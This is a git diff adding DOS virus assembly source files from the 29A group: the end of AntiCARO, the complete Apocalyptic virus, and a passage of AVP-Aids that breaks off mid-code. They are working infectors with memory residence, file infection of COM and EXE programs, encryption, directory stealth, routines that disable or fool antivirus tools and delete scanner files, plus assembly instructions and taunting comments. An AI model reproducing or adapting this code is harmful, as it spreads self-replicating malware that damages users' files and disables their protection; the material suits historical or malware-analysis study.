dx,[bp+bizatch_avb] ; created file + int 21h + + mov ah,3eh ; Close file + int 21h + +mem_res_check: mov ax,'CA' ; Check if we're already + mov bx,'RO' ; memory resident + int 21h + + cmp ax,'SU' ; Coolio residency + cmp bx,'X!' ; check... CARO SUX! :P + je nothing_to_do + +install: mov ax,es + dec ax + mov ds,ax ; Program's MCB segment + xor di,di + + cmp byte ptr ds:[di],'Y' ; Is it a Z block? + jna nothing_to_do + + sub word ptr ds:[di+3],((anticaro_size/10h)+2) + sub word ptr ds:[di+12h],((anticaro_size/10h)+2) + add ax,word ptr ds:[di+3] + inc ax + + mov ds,ax + mov byte ptr ds:[di],'Z' ; Mark block as Z + mov word ptr ds:[di+1],8 ; System memory + mov word ptr ds:[di+3],((anticaro_size/10h)+1) + mov word ptr ds:[di+8],4f44h ; Mark block as owned + mov word ptr ds:[di+0ah],0053h ; by DOS (44h-4fh-53h,0) + inc ax + + cld + push cs + pop ds + mov es,ax ; Copy virus to memory + mov cx,anticaro_size + lea si,[bp+anticaro_start] + rep movsb + + push ds + mov ds,cx + mov es,ax ; Save int 21h's + mov si,21h*4 ; original vector + lea di,old_int_21h+1 + movsw + movsw + + mov word ptr [si-4],offset new_int_21h + mov word ptr [si-2],ax ; Set ours + + pop ds + push ds ; CS=DS=ES + pop es + +nothing_to_do: lea si,[bp+host_header] ; Restore host's header + mov di,100h ; and jump to cs:100h + push di ; for running it + movsw + movsw + ret + +; Ĵ note_to_stupid_avers ;) + +copyright db 0dh,0ah,'[AntiCARO, by Mister Sandman/29A]',0dh,0ah + db 'Please note: the name of this virus is [AntiCARO] ' + db 'written by Mister Sandman of 29A... but... dear ' + db 'Bontchy... name it however *you* (and not CARO) want,' + db ' as usual; we just don''t mind your childish ' + db 'stupidity :)',0dh,0ah + +; Ĵ AntiCARO's int 21h handler + +new_int_21h: cmp ax,'CA' ; Residency check + jnz execution? ; Are they asking my + cmp bx,'RO' ; opinion about CARO? + jnz execution? + + mov ax,'SU' ; Ok, CARO SUX! :P + mov bx,'X!' + iret + +execution?: cmp ax,4b00h ; This is the moment + je check_name ; we were waiting for ;)'' + +old_int_21h: db 0eah ; jmp xxxx:xxxx + dw 0,0 ; Original int 21h + +; Ĵ Infection routines + +check_name: push ax bx cx dx ; Push all this shit + push si di ds es ; and clear direction + cld ; flag + + mov ax,3d00h ; Open the file is + int 21h ; about to be executed + + xchg bx,ax + call get_sft ; Get its SFT + jc dont_infect ; Shit... outta here + + push cs ; CS=DS + pop ds + + mov ax,word ptr es:[di+28h] ; Check extension + cmp ax,'OC' ; There aren't too many + je check_file ; 'COx' executables + ; besides COMs, right? :) + +dont_infect: pop es ds di si ; Pop out registers and + pop dx cx bx ax ; jmp to the original + jmp old_int_21h ; int 21h handler + +check_file: xor al,al ; Clear and save file + xchg al,byte ptr es:[di+4] ; attributes + push ax + + mov word ptr es:[di+2],2 ; Set read/write mode + + mov ah,3fh ; Read first four + mov cx,4 ; bytes to our buffer + lea dx,host_header + int 21h + + mov ax,word ptr host_header ; First word in AX + add al,ah ; M+Z or Z+M=0a7h :) + cmp al,0a7h ; So is it an EXE file? + je close_file ; Fuck it + + cmp byte ptr host_header+3,90h ; Check file for any + je close_file ; previous infection + + mov ax,word ptr es:[di+11h] ; Check file length + cmp ax,0faebh ; > 64235? + ja close_file + + push ax ; Save length + sub ax,3 ; Make the initial + mov word ptr new_header+1,ax ; jmp to our code + + mov word ptr es:[di+15h],0 ; Lseek to the start + + mov ah,40h ; Write in our cooler + mov cx,4 ; header :) + lea dx,new_header + int 21h + + pop ax ; Lseek to the end + mov word ptr es:[di+15h],ax ; of the file + + mov ah,40h ; Append our code + mov cx,anticaro_size ; Huh? where's the + lea dx,anticaro_start ; call to the poly + int 21h ; engine? :) + +close_file: mov ah,3eh ; Close our victim + int 21h + + pop ax ; Restore attributes + mov byte ptr es:[di+4],al ; Pop shit and jump + jmp dont_infect ; to the original int 21h + +; Ĵ Subroutines... or... oh, well, subroutine :) + +get_sft: push ax bx + mov ax,1220h ; Get job file table + int 2fh ; in ES:DI (DOS 3+) + jc bad_sft + + xor bx,bx ; Get the address of + mov ax,1216h ; the specific SFT for + mov bl,byte ptr es:[di] ; our handle + int 2fh + +bad_sft: pop bx ax ; Pop registers and + ret ; return to the code + +; Ĵ Data area + +host_header db 0cdh,20h,90h,90h ; Host's header +new_header db 0e9h,?,?,90h ; New header buffer +avp_set db 'avp.set',0 ; Can't you guess it? :) +bizatch_name db 'BIZATCH.AVB',0dh,0ah ; Our database field +bizatch_base db 'bizatch.avb',0 ; Viral database name + +; Ĵ BIZATCH.AVB viral database +; +; The hex dump below is the AVP full-compatible viral database which con- +; tains the necessary data for detecting Bizatch. This was done by compi- +; ling the 'belower' code, linking it to a new AVPRO record, and filling +; out some of this record's data fields. These are the steps: +; +; - Compile the source below this hex dump: tasm /m /ml /q biz_dec.asm. +; - Execute AVP's AVPRO.EXE. +; - Edit a new viral dabase (Alt-E, F3, and then type 'bizatch.avb'). +; - Insert a file record in it (Alt-I, and then select 'File virus'). +; - Fill the form as follows: +; +; [] File virus ͻ +; Name: Bizatch_:P Type [ ] COM +; Comment: Fuck you, Bontchy [X] EXE +; [ ] SYS +; Area 1 Header [ ] WIN +; Offset 0000 +; Length 00 Method Delete +; Area 2 Page_C Area Header +; Offset 0000 From +0000 +; Length 0a Length +0000 +; To +0000 +; > Link +0000 +; Cut 0000 +; > Sum 00000000 +; 00000000 +; +; Ok Cancel +; +; ͼ +; +; - Link biz_dec.obj (Alt-L, and then select it). +; - Type in Bizatch's entry point for calculating its sum (Alt-S, don't +; select any file, and type in 'e8 00 00 00 00 5d 8b c5 2d 05' in the +; dump gap AVPRO will show you. +; - Save the new record and the new viral database. +; +; As you see, this is quite tedious to do, and that's why i included di- +; rectly the hex dump of the result of all these steps, which seems to me +; a bit more easy for you :) +; +; So skip the hex dump and have a look at biz_dec.asm's code, which is the +; really important thing of this virus. + + +base_start label byte +base_size equ base_end-base_start-3 +bizatch_avb db 2dh,56h,0c2h,00h,00h,00h,00h,01h,0cch,07h,04h + db 0bh,0cch,07h,10h,0bh,00h,00h,01h,00h,00h,00h,00h + db 00h,0dh,0ah,41h,6eh,74h,69h,76h,69h,72h,61h,6ch + db 20h,54h,6fh,6fh,6ch,4bh,69h,74h,20h,50h,72h,6fh + db 0dh,0ah,20h,62h,79h,20h,45h,75h,67h,65h,6eh,65h + db 20h,4bh,61h,73h,70h,65h,72h,73h,6bh,79h,20h,0dh + db 0ah,28h,63h,29h,4bh,41h,4dh,49h,20h,43h,6fh,72h + db 70h,2eh,2ch,20h,52h,75h,73h,73h,69h,61h,20h,31h + db 39h,39h,32h,2dh,31h,39h,39h,35h,2eh,0dh,0ah,50h + db 72h,6fh,67h,72h,61h,6dh,6dh,65h,72h,73h,3ah,0dh + db 0ah,41h,6ch,65h,78h,65h,79h,20h,4eh,2eh,20h,64h + db 65h,20h,4dh,6fh,6eh,74h,20h,64h,65h,20h,52h,69h + db 71h,75h,65h,2ch,0dh,0ah,45h,75h,67h,65h,6eh,65h + db 20h,56h,2eh,20h,4bh,61h,73h,70h,65h,72h,73h,6bh + db 79h,2ch,0dh,0ah,56h,61h,64h,69h,6dh,20h,56h,2eh + db 20h,42h,6fh,67h,64h,61h,6eh,6fh,76h,2eh,0dh,0ah + db 0dh,0ah,00h,0dh,0ah,38h,00h,00h,00h,10h,00h,42h + db 69h,7ah,61h,74h,63h,68h,5fh,3ah,50h,00h,00h,00h + db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,03h + db 00h,00h,0ah,0fh,0feh,0ffh,0ffh,01h,00h,00h,00h,00h + db 00h,00h,00h,0ch,00h,00h,00h,00h,00h,00h,00h,00h,00h + db 00h,00h,00h,00h,0dh,01h,12h,00h,00h,00h,46h,75h,63h + db 6bh,20h,79h,6fh,75h,2ch,20h,42h,6fh,6eh,74h,63h,68h + db 79h,00h,0dh,02h,01h,01h,00h,00h,98h,07h,00h,28h,86h + db 00h,02h,03h,01h,0adh,8ch,21h,00h,07h,5fh,50h,61h + db 67h,65h,5fh,43h,00h,07h,5fh,48h,65h,61h,64h,65h + db 72h,00h,05h,5fh,53h,65h,65h,6bh,00h,05h,5fh,52h + db 65h,61h,64h,00h,53h,90h,0eh,00h,00h,01h,07h,5fh + db 64h,65h,63h,6fh,64h,65h,00h,00h,00h,97h,0a0h,8ah + db 00h,01h,00h,00h,1eh,55h,0bdh,00h,00h,8eh,0ddh,0c4h + db 3eh,00h,00h,26h,8bh,6dh,3ch,33h,0c0h,50h,55h,9ah + db 00h,00h,00h,00h,58h,58h,0c4h,3eh,00h,00h,0b8h,0f8h + db 00h,50h,06h,57h,9ah,00h,00h,00h,00h,83h,0c4h,06h + db 0c4h,3eh,00h,00h,26h,81h,3dh,50h,45h,75h,29h,26h + db 8bh,4dh,06h,51h,0b8h,28h,00h,50h,06h,57h,9ah,00h + db 00h,00h,00h,83h,0c4h,06h,59h,0c4h,3eh,00h,00h,26h + db 81h,3dh,76h,6ch,75h,08h,26h,81h,7dh,02h,61h,64h + db 74h,07h,0e2h,0dbh,33h,0c0h,5dh,1fh,0cbh,26h,0c4h + db 7dh,14h,06h,57h,9ah,00h,00h,00h,00h,58h,58h,0c4h + db 3eh,00h,00h,0b8h,0ah,00h,50h,06h,57h,9ah,00h,00h + db 00h,00h,83h,0c4h,06h,0ebh,0dah,9ah,9ch,2dh,00h + db 0c8h,03h,56h,02h,0c4h,09h,56h,02h,0cch,14h,56h + db 03h,0c4h,1ch,56h,01h,0cch,25h,56h,04h,0c4h,2eh + db 56h,01h,0cch,43h,56h,04h,0c4h,4dh,56h,01h,0cch + db 6ch,56h,03h,0c4h,74h,56h,01h,0cch,7dh,56h,04h,57h + db 8ah,02h,00h,00h,74h +base_end label byte + +; Ĵ Bizatch's detection code +; +; biz_dec segment byte public 'code' +; assume cs:biz_dec;ds:biz_dec;es:biz_dec;ss:biz_dec +; +; _decode proc far +; push ds bp +; mov bp,seg _Header ; Get AVP's data segment +; mov ds,bp +; +; les di,_Header ; Get pointer to header +; mov bp,word ptr es:[di+3ch] ; Get PE header offset +; xor ax,ax +; +; push ax bp +; call far ptr _Seek ; Lseek to PE header +; pop ax ax ; Remove 2 words from stack +; +; les di,_Page_C ; Destination=buffer +; mov ax,0f8h ; Size=f8h bytes +; +; push ax es di ; Read f8h bytes from +; call far ptr _Read ; the PE header +; +; add sp,6 ; Remove 3 words from stack +; les di,_Page_C ; The call changes ES +; cmp word ptr es:[di],'EP' ; Portable Executable? +; jne back_to_avp +; +; mov cx,word ptr es:[di+6] ; Objects number +; next_entry: push cx +; +; mov ax,28h ; Length of each +; push ax es di ; object table entry +; call far ptr _Read ; Read object +; +; add sp,6 ; Remove 3 words from stack +; pop cx +; les di,_Page_C ; Point to our buffer +; cmp word ptr es:[di],'lv' ; vl(ad) object? +; jne search_loop +; +; cmp word ptr es:[di],'da' ; (vl)ad object? +; je lseek_object ; Bingo! :) +; +; search_loop: loop next_entry ; Process next object +; +; back_to_avp: xor ax,ax ; R_CLEAN==0 +; pop bp ds ; Return to AVP +; retf +; +; lseek_object: les di,dword ptr es:[di+14h] ; Lseek to the object +; push es di ; physical offset +; call far ptr _Seek +; +; pop ax ax +; mov ax,0ah ; Read ten bytes to +; les di,_Page_C ; our buffer (page C) +; push ax es di +; call far ptr _Read +; +; add sp,6 ; And now AVP will compare +; jmp back_to_avp ; those ten bytes with +; _decode endp ; Bizatch's search string +; biz_decode ends +; +; public _decode +; extrn _Page_C:dword ; External AVP's API +; extrn _Header:dword ; functions and buffers +; extrn _Seek:far ; (lseek, read, header, +; extrn _Read:far ; read buffer...) +; end + +anticaro_end label byte +anticaro ends + end anticaro_start diff --git a/a/apocalyp.asm b/a/apocalyp.asm new file mode 100755 index 0000000..c6968e6 --- /dev/null +++ b/a/apocalyp.asm @@ -0,0 +1,677 @@ +; Virus name: Apocalyptic +; Author: WiNTeRMuTe/29A +; Size: 1058 bytes +; Origin: Madrid, Spain +; Finished: October, 1996 ( with a pair of corrections after that ) +; +; +; Characteristics and curiosities +; +; - TSR appending Com/Exe infector +; - Has a routine to encrypt and another to decrypt ( ror+add+xor ) +; - Stealth ( 11h/12h/4eh/4fh/5700h ) +; - Deactivates Tbdriver when going into mem and when infecting +; - Makes the int 3h point to the int21h on infection +; - Fools f-prot's 'stealth detection' +; - Non-detectable ( in 2nd generation ) by Tbav 7.05, F-prot 2.23c, Scan, +; Avp and else. TbClean doesn't clean it ( it gets lost with the Z Mcb +; searching loop,... really that product is a shit ) +; - Payload: On 26th of July it shows all file with size 029Ah ( 666 ) +; +; +; Thanks go to: +; +; - All the 29A staff; rulez ! Specially in the spanish scene to MrSandman, +; VirusBuster, Griyo, Mr.White, Avv, Anibal and ORP +; - Living Turmoil, specially Warblade and Krackbaby... go on with the mags! +; - H/P/C/A/V people in my bbs like Patuel, the Black Rider, MegaMan, +; Bitspawn, Netrunner, the S.H.E.... and of course to my sysop 'Uni' and the +; other cosysops... +; +; +; And fucks go to: +; +; - Some Fidoasses. They know who they are. +; +; +; +; +; " Why don't you get a life and grow up, +; why don't you realize that you're fucked up, +; why criticize what you don't understand, +; why change my words, you're so afraid " +; +; ( Sepultura ) +; +; +; +; To assemble the virus, use: +; +; Tasm virus.asm +; Tlink virus.obj +; + +.286 +HOSTSEG segment BYTE +ASSUME CS:HOSTSEG, SS:CODIGO + +Host: + mov ax,4c00h + int 21h + +ends + +CODIGO segment PARA +ASSUME CS:CODIGO, DS:CODIGO, SS:CODIGO + +virus_size equ virus_end-virus_start +encrypt_size equ encrypt_end-encrypt_start + +virus_start label byte + +org 0h + +Letsrock: + call delta ; Entry for Com/Exe +delta: + mov si,sp ; -offset + mov bp,word ptr ss:[si] + sub bp,offset delta + push es ax ds + + push cs + pop ds + call tomacha ; I don't call encryption + ;on first generation + +Encrypt_start label byte + +;*************************************************************************** +; RESIDENCE +;*************************************************************************** + + +goon: + push es + call tbdriver ; Deactivate TbDriver + + mov ah,52h ; Pick list of lists + int 21h + mov si,es:[bx-2] ; First MCB + mov es,si + +Mcb_Loop: + cmp byte ptr es:[0],'Z' ; I search last Mcb. + je got_last +cont: add si,es:[3] + inc si + mov es,si + jmp Mcb_Loop + +got_last: + pop dx + cmp word ptr es:[1],0h ; Is it free ? + je go_on + cmp word ptr es:[1],dx ; Or with active Psp ? + jne exit +go_on: + cmp word ptr es:[3],((virus_size+15)/16)+1 + jb exit ; Is there space for me ? + + push es ; If there is, I get resident + pop ds + mov di,es + add di,word ptr es:[3] ; Residence stuff; nothing + sub di,((virus_size+15)/16) ;special + push di + mov es,di + xor di,di + xor si,si + mov cx,8 + rep movsw + + pop di + inc di + mov word ptr es:[3],((virus_size+15)/16)+1 + mov word ptr es:[1],di + + mov byte ptr ds:[0],'M' + sub word ptr ds:[3],((virus_size+15)/16)+1 + mov di,5 + mov cx,12 + xor al,al + rep stosb + + push es cs + pop ds ax + inc ax + push ax + mov es,ax + xor di,di + mov si,bp + mov cx,(virus_size) + rep movsb + + mov ax,3521h + int 21h + pop ds + mov ds:word ptr [int21h],bx + mov ds:word ptr [int21h+2],es + mov ah,25h + lea dx,main_center + int 21h + +;*************************************************************************** +; RETURN TO HOST +;*************************************************************************** + +exit: + pop ds ax es + + dec byte ptr [flag+bp] ; Was it a Com ? + jz era_un_com + + mov si,ds ; Recover stack + add si,cs:word ptr [ss_sp+bp] + add si,10h + cli + mov ss,si + mov sp,cs:word ptr [ss_sp+bp+2] + sti + + mov si,ds ; Recover CS:IP + add si,cs:word ptr [cs_ip+bp+2] + add si,10h + push si + push cs:word ptr [cs_ip+bp] + + retf ; Return to host + +era_un_com: + mov di,100h ; If it's a Com, I make + push di ;it to return + lea si,bp+ss_sp + movsw + movsb + ret + +condiciones: + push cx dx ; Payload trigger + mov ah,02ah ; Activates on 26th july + int 21h + cmp dx,071Ah + pop dx cx + jnz nain + stc + ret +nain: + clc + ret + +;*************************************************************************** +; TBDRIVER +;*************************************************************************** + +Tbdriver: + xor ax,ax ; Annulates TBdriver,... + mov es,ax ;really, this Av is a + les bx,es:[0084h] ;megashit. + cmp byte ptr es:[bx+2],0eah + jnz volvamos + push word ptr es:[bx+3] + push word ptr es:[bx+5] + mov es,ax + pop word ptr es:[0086h] + pop word ptr es:[0084h] +volvamos: ret + +;*************************************************************************** +; STEALTH 05700h +;*************************************************************************** + +Stealth_tiempo: + pushf + call dword ptr cs:[Int21h] ; Calls Int21h + push cx + and cl,01fh + xor cl,01fh + pop cx + jnz nada + or cl,01fh ; Changes seconds +nada: + retf 2 + +;**************************************************************************** +; FCB STEALTH +;**************************************************************************** + +FCB_Stealth: + + pushf ; Stealth of 11h/12h, by + call dword ptr cs:[Int21h] ;FCBs + test al,al + jnz sin_stealth + + push ax bx es + + mov ah,51h + int 21h + mov es,bx + cmp bx,es:[16h] + jnz No_infectado + + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh + int 21h + pop ax + inc al + jnz Normal_FCB + add bx,7h +Normal_FCB: + mov al,es:[bx+17h] + and al,1fh + xor al,1fh + jnz No_infectado + + sub word ptr es:[bx+1dh],Virus_size ; Old lenght of + sbb word ptr es:[bx+1fh],0 ;file and "normal" + and byte ptr es:[bx+17h],0F1h ;seconds + +No_infectado: + call condiciones + jnc sin_nada + + mov word ptr es:[bx+1dh],029Ah ; Virus's payload + mov word ptr es:[bx+1fh],0h + +sin_nada: + pop es bx ax +Sin_stealth: retf 2 + +;**************************************************************************** +; INT 21h +;**************************************************************************** + +main_center: ; The main center ! + cmp ax,5700h + jz stealth_tiempo + cmp ah,11h + jz fcb_stealth + cmp ah,12h + jz fcb_stealth + cmp ah,4eh + jz handle_stealth + cmp ah,4fh + jz handle_stealth + cmp ah,4bh + je ejecutar + jmp saltito + +;**************************************************************************** +; HANDLE STEALTH +;**************************************************************************** + +handle_stealth: + + pushf ; Handle stealth, functions + call dword ptr cs:[Int21h] ;4eh/4fh + jc adios_handle + + pushf + push ax es bx cx + +anti_antivirus: + + mov ah,62h + int 21h + + mov es,bx ; Is it F-prot ? + mov es,word ptr es:[2ch] + xor bx,bx + mov cx,100h +fpr: + cmp word ptr es:[bx],'-F' + jz sin_infectar ; Si lo es, pasamos de hacer + inc bx ;el stealth + loop fpr + + mov ah,2fh + int 21h + + mov al,es:[bx+16h] + and al,1fh + xor al,1fh + jnz sin_infectar + + sub word ptr es:[bx+1ah],Virus_size ; Subs virus size + sbb word ptr es:[bx+1ch],0 ;and places coherent + and byte ptr es:[bx+16h],0F1h ;seconds + +sin_infectar: + call condiciones + jnc no_payload + + mov word ptr es:[bx+1ah],029Ah ; payload + mov word ptr es:[bx+1ch],0h +no_payload: + pop cx bx es ax + popf +adios_handle: + retf 2 + +;**************************************************************************** +; EXE INFECTION +;**************************************************************************** + +ejecutar: + pushf + push ax bx cx dx si di ds es bp + + mov di,ds + mov si,dx + + call tbdriver ; deactivates TbDriver + + mov ax,3503h ; Int 3h points to the + int 21h ;int 21h: less size and we + push cs ;fuck'em a bit + pop ds + mov ah,25h + lea dx,saltito + int 21h + push es bx ax + + mov ax,3524h ; We handle int 24h + int 3h + mov ah,25h + lea dx,int24h + int 3h + push es bx ax + + mov ds,di + mov dx,si + +Noloes: + mov ax,4300h ; Saves and clears file + int 3h ;attributes + mov ax,4301h + push ax cx dx + xor cx,cx + int 3h + +vamos_a_ver_si_exe: + + mov byte ptr [flag],00h + mov ax,3d02h ; Opens file + int 3h + jc we_close + +infect: xchg ax,bx + + push cs + pop ds + mov ah,3fh ; Reads header + mov cx,01ch + lea dx,cabecera + int 3h + + mov al,byte ptr [cabecera] ; Makes comprobations + add al,byte ptr [cabecera+1] + cmp al,'M'+'Z' + jnz go_close + cmp word ptr [cabecera+18h],40h + jz go_close + cmp word ptr [cabecera+1ah],0 + jnz go_close ; If it's all right, goes on + jmp conti + +go_close: + mov ds,di + mov dx,si + +buscar_final: cmp byte ptr ds:[si],0 ; Searches end in ds:si + je chequeo + inc si + jmp buscar_final + +chequeo: + push cs ; Is it a .COM ? + pop es + lea di,comtxt + sub si,3 + cmpsw + jne we_close + jmp infeccion_com + +we_close: + jmp close + +conti: + mov ax,5700h ; Time/date of file + push ax + int 3h + push dx cx + and cl,1fh + xor cl,1fh + jz close_ant + + call pointerant + cmp ax,0200h + ja contt +noinz: xor si,si ; To avoid changing + jmp close_ant ;date of non-infected + ;files +contt: + + push ax + pop si + shr ax,4 + shl dx,12 + add dx,ax + sub dx,word ptr ds:cabecera+8 + push dx + + and si,0fh + push si + call copy + pop si + + pop dx + mov ds:word ptr [cs_ip+2],dx + inc dx + mov ds:word ptr [ss_sp],dx + mov ds:word ptr [cs_ip],si + mov ds:word ptr [ss_sp+2],((virus_size+100h-15h)/2)*2 + + call pointerant + + mov cx,200h + div cx + inc ax + mov word ptr [cabecera+2],dx + mov word ptr [cabecera+4],ax + mov word ptr [cabecera+0ah],((virus_size)/16)+10h + + mov ax,4200h + call pointer + mov cx,1ch + lea dx,cabecera + push cs + pop ds + mov ah,40h + int 3h + +close_ant: + pop cx dx ax + or si,si + je close + inc ax + or cl,1fh + int 3h + + +close: + + pop dx cx ax ; Attributes + inc ax + int 21h + + mov ah,03eh + int 3h + +nahyuck: + + pop ax dx ds ; Restores Int 24h y 3h + int 3h + pop ax dx ds + int 3h + + pop bp es ds di si dx cx bx ax + popf + jmp saltito + +Pointerant: + mov ax,4202h +Pointer: + xor cx,cx + cwd + int 3h + ret + +;**************************************************************************** +; COM INFECTION +;**************************************************************************** + + +infeccion_com: + + mov ax,3d02h ; Open + int 3h + jc close + xchg bx,ax + + push cs + pop ds + + mov byte ptr [flag],1h ; To make the virus know it's + ;a com when restoring + mov ax,5700h ; Time/date + push ax + int 3h + push dx cx + and cl,1fh + xor cl,1fh + jz close_ant + +quesiquevale: + mov ah,3fh ; Reads beggining of file + mov cx,3 + lea dx,ss_sp + int 3h + + call pointerant ; Lenght check + cmp ax,0200h + ja puedes_seguir + cmp ax,(0ffffh-virus_size-100h) + jna puedes_seguir +alnoin: jmp noinz + +puedes_seguir: + sub ax,3 + mov word ptr [cabecera],ax + + call copy ; Appending + + mov ax,4200h + call pointer + + mov ah,40h ; Jumping to code at + lea dx,salt ;beggining + mov cx,3h + int 3h + + jmp close_ant + +;**************************************************************************** +; DATA +;**************************************************************************** + +autor: db 'Apocalyptic by Wintermute/29A' +comtxt: db 'COM' +flag: db 0 +salt: db 0e9h +cabecera: db 0eh dup (90h) +SS_SP: dw 0,offset virus_end+100h +Checksum: dw 0 +CS_IP: dw offset host,0 +Cequis: dw 0,0,0,0 + +Encrypt_end label byte + +copy: + push cs + pop ds + xor bp,bp ; Don't let bp fuck us + call encryptant ; Encrypts + mov ah,40h ; Copies + mov cx,virus_size + lea dx,letsrock + int 3h + call deencrypt ; Deencrypts + ret + +;**************************************************************************** +; ENCRYPT ROUTINE +;**************************************************************************** + +encryptant: + lea si,encrypt_end ; Encrypts + mov cx,encrypt_size +enc_loop: mov dl,byte ptr [si] + sub dl,2h + xor dl,0f9h + ror dl,4 + mov byte ptr [si],dl + dec si + loop enc_loop + ret + +deencrypt: + lea si,encrypt_end+bp ; Deencrypts + mov cx,encrypt_size + mov di,8 +encri: mov dl,byte ptr [si] + mov al,dl + rol dl,4 + xor dl,0f9h + add dl,2h + mov byte ptr [si],dl + dec si + loop encri + ret + +Int24h: mov al,3 + ret +Saltito: db 0eah +int21h: dw 0,0 + + +virus_end label byte + +tomacha: + mov cs:word ptr encrypt_start-2+bp,deencrypt-encrypt_start + ret + ; This is cause I don't like putting a stupid flag, + ; this two commands won't be copied + + CODIGO ends + END Letsrock + + VSTACK segment para STACK 'Stack' + + db 100h dup (90h) + +ends + diff --git a/a/avpaids.asm b/a/avpaids.asm new file mode 100755 index 0000000..862006c --- /dev/null +++ b/a/avpaids.asm @@ -0,0 +1,327 @@ +; +; +; AVP-Aids, +; by Tcp/29A +; +; +; +; AVP is probably the best antivirus nowadays, but it's the most easily +; foolable too :) One of its best advantages is that the user himself is +; able to write his own detection and disinfection routines for any new +; virus he may find. But a virus author could use that facilities to +; write a virus, don't you think? :) +; +; All we need to have is the routine editor (AVPRO) which is included in +; the registrated version of AVP (2.1 and above), or the -older- one in- +; cluded in the shareware version of AVP 2.0, which is the one i used. +; +; This routine editor gives us a lot of functions and structures we can +; call. For more info on this, read their definitions in a file named +; DLINK.H which is included in AVP. +; +; Having access to the vectors of those functions, we may either change +; or redirect them as a normal virus does with the standard interrupt +; vectors. We could write trojans, droppers, a stealth routine, and even +; a whole virus... imagination is the only limit you have ;) +; +; As an example of this, i wrote a simple virus which i named AVP-Aids, +; because it works in the same way as the known disease does: +; +; - It destroys the organism defenses: deletes F-Prot, TbScan and Scan +; when AVP tries to scan them. +; - Favours the appearing of opportunist diseases: AVP won't detect any +; virus (only a few using it heuristic scanner), so any virus, though +; being a super-old one, will be able to infect the system. +; +; I recommend the reading of the file USERGUID.DOC which is included in +; the AVP pack for a better comprehension about the way AVP-Aids works. +; +; For getting a working dropper of AVP-Aids, first compile the next two +; files (tasm /m /ml /q avp_dec.asm; tasm /m /ml /q avp_jmp.asm). +; +; File: AVP_DEC.ASM + +aids_decode segment byte public 'CODE' +assume cs:aids_decode + +_decode proc far +aids proc far + push ds + push bp + mov bp,seg _Page_A ; Get AVP's data segment + mov ds,bp + les di,ds:_Page_A ; Get pointer to Page_A + mov cx,400h ; Length of Page + push cx + mov al,1 ; If al=0 then AVP detects the Win95.Boza.A + ; in a high number of files... rules :-DDD + rep stosb ; Clear Page_A + + les di,ds:_Page_B + pop cx + push cx + rep stosb ; Clear Page_B + + les di,ds:_Header + pop cx + rep stosb ; Clear Header + + push ds + pop es + lds si,ds:_File_Name ; File scanned + lodsw + cmp ax,'-f' ; Check for F-*.* + je del_file + cmp ax,'bt' ; Check for TBSCAN + jne check_sc + lodsw +check_sc: + cmp ax,'cs' ; Check for SCAN + jne no_scan + lodsw + cmp ax,'na' + jne no_scan +del_file: + push es + pop ds + lds dx,ds:_File_Full_Name + mov ah,41h + int 21h ; Delete file (F-Prot, Scan, TBScan) +no_scan: + pop bp + pop ds + xor ax,ax + retf ; Return to AVP (AX==0 <-> RCLEAN) +aids endp +_decode endp + +aids_decode ends + +public _decode +public aids +extrn _Page_A:dword +extrn _Page_B:dword +extrn _Header:dword +extrn _File_Name:dword +extrn _File_Full_Name:dword +end + +; EOF: AVP_DEC.ASM +; +; File: AVP_JMP.ASM + +aids_jmp segment byte public 'CODE' +assume cs:aids_jmp + +_jmp proc far + call far ptr aids ; call the aids procedure + retf ; Return to AVP +_jmp endp + +aids_jmp ends + +public _jmp +extrn aids:far +end + +; EOF: AVP_JMP.ASM +; +; Now that we got their corresponding OBJ files, we load AVPRO and edit +; a new viral database which we'll name AVP_AIDS.AVB. Add a File regis- +; ter, and write the name and the commentary you want, it doesn't mind. +; Now we link (Alt-L) an external routine. Choose AVP_DEC.OBJ and accept +; the register. +; +; Because the second OBJ file makes a call to a procedure of the first +; one, we will need AVP to load in memory the database we just created. +; For this we must save this base and add it to the active ones by pres- +; sing F4. Once we have done this, we must edit again AVP_AIDS.AVB and +; add a jmp register. Now link AVP_JMP.OBJ as an external routine, and +; if everything is right we'll be able to save and exit. +; +; After doing all this, we must compile the virus itself: for doing it, +; we must modify the database length equ (length_aids) with the correct +; value and follow the next steps: +; +; tasm /m avp_aids.asm +; tlink avp_aids.obj +; exe2bin avp_aids.exe avp_aids.com +; copy /b 6nops.com+avp_aids.avb+avp_aids.com avp-aids.com +; +; As *all_this* is quite hard to do, Mister Sandman has included a fully +; compiled second generation of this virus in \FILES :) +; +; File: AVP_AIDS.ASM +; +; Name: AVP-Aids +; Author: Tcp / 29A +; When: 6-April-96 : 1st implementation +; November-96: Now doesn't hang AVP 2.2x +; +; Where: Spain +; Comments: A simple and lame virus to demostrate the +; AVPRO API capabilities... to make virii... ;) +; Also fools TBAV... (except this first generation) + + +LENGTH_AIDS equ 590 ; Place here the length of your base + +avp_aids segment byte public +assume cs:avp_aids, ds:avp_aids, ss:avp_aids +org 0 + +start: + call get_delta +next: + +avp_set db 'AVp.SeT',0 +base db 'KRN386.AVB',13,10 +f_base db 'kRn386.aVb',0 +f_mask db '*.cOm',0 +_format db 'c:\DoS\fORmaT.cOM',0 + +six db 0cdh,20h,?,?,?,? ; Original bytes +jmp_vir db 'PK' ; Fools TBScan + pop bx ; Fix ('PK'= push ax, dec bx) + db 0e9h ; jmp +ofs_vir dw ? + + db '[AVP-Aids, Tcp / 29A]' + +get_delta: + mov di,100h + pop bp + push di + sub bp,offset(next) ; Get delta-offset + mov di,100h + push di + lea si,[bp+six] + movsw + movsw + movsw ; Restore infected file + mov ah,2fh + int 21h ; Get DTA + push es + push bx + lea dx,[bp+offset(dta)] + mov ah,1ah + int 21h ; Set DTA + mov ah,4eh + xor cx,cx + lea dx,[bp+f_mask] + int 21h ; Find-first *.com + jc check_for_format + lea dx,[bp+offset(dta)+1eh] + call infect_file +check_for_format: + lea dx,[bp+offset(_format)] ; Try to infect c:\dos\format.com + call infect_file + + mov ax,3d00h ; Search for avp.set + lea dx,[bp+avp_set] + int 21h + jc exec_host + xchg ax,bx + mov ah,3fh + lea dx,[bp+dta] + mov cx,666h ;-) + int 21h + push ax ; length(AVP.SET) + mov ah,3eh + int 21h ; Close file + mov ah,3ch + xor cx,cx + lea dx,[bp+f_base] + int 21h ; Create krn386.avb (viral database) + xchg ax,bx + mov ah,40h + push ax + lea dx,[bp+base] + mov cx,offset(f_base)-offset(base) + int 21h ; Write base name in file + pop ax + lea dx,[bp+dta] + pop cx + int 21h ; Write rest of AVP.SET + mov ah,3eh + int 21h + mov ah,41h 